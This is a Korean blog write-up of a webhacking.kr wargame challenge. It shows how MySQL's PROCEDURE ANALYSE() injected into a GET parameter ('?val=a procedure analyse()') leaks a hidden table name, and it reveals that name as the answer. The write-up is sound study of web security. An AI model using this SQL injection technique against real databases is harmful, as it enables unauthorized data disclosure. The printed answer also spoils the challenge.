1. 문제 확인
2. 코드 확인
3. 문제 풀이
소스코드를 해석해보면, 숨겨진 테이블의 이름을 찾아내고
그 값을 answer에 입력해주면 풀리는 문제인것 같다.
그리고 prg_match를 통해 다음과 같은 문자들을 필터링 한다.
여기서 procedure analyse() 함수를 사용해야 한다.
이것에 대해 좀 더 살펴보자.
mysql> select id from test where no=1 procedure analyse();
+--------------+-----------+-----------+------------+------------+------------------+-----+
| Field_name | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls |
+--------------+-----------+-----------+------------+------------+------------------+-----+
| test.test.id | admin | admin | 5 | 5 | 0 | 0 |
+--------------+-----------+-----------+------------+------------+------------------+-----+
여기서 테이블,필드명을 모른다고 해도
test.test.id 와 같은 형식으로 출력된 첫번째 필드명을 통해
테이블명을 알 수 있다는 것이다.
여기서 val을 GET으로 받은게 a 이다.
그래서 다음과 같이 ?val=a procedure procedure analyse()를 적어준다.
그랬더니 다음과 같이 테이블 이름을 알 수 있다.
chall53_755fdeb36d873dfdeb2b34487d50a805 이 부분이 테이블 이름이다.
4. 결과
'security > 웹 해킹' 카테고리의 다른 글
Webhacking.kr 32번 (0) | 2020.08.02 |
---|---|
Webhacking.kr 43번 (0) | 2020.07.26 |
Webhacking.kr 7번 (0) | 2020.07.22 |
Webhacking.kr 15번 (0) | 2020.07.22 |
Webhacking.kr 5번 (0) | 2020.07.22 |
댓글